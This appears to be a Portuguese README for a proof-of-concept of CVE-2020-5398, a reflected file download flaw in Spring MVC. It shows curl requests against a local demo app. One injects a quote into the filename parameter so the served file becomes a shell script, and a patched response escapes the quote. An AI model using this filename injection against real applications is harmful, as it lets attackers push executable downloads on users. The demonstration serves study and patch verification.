motikan2010/cve-2020-5398CVE-2020-5398 - Ataque RFD (Reflected File Download) para Spring MVC
No Spring Framework, versões 5.2.x anteriores a 5.2.3, versões 5.1.x anteriores a 5.1.13 e versões 5.0.x anteriores a 5.0.16, um aplicativo está vulnerável a um ataque de download de arquivo refletido (RFD) quando define um cabeçalho “Content-Disposition” na resposta em que o atributo filename é derivado de entrada fornecida pelo usuário.
./gradlew bootrun
Escute em 127.0.0.1:8080.
$ curl 'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.txt"
Content-Type: application/octet-stream
Content-Length: 12
Date: Fri, 17 Jan 2020 05:41:08 GMT
Hello, World
Inicie o download do arquivo sample.txt.
curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:22:18 GMT
#!/bin/bash
id
Inicie o download do arquivo sample.sh. (Arquivo de shell)
$ curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh\";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:24:47 GMT
#!/bin/bash
id
Inicie o download do arquivo sample.sh\";.txt. (Arquivo de texto)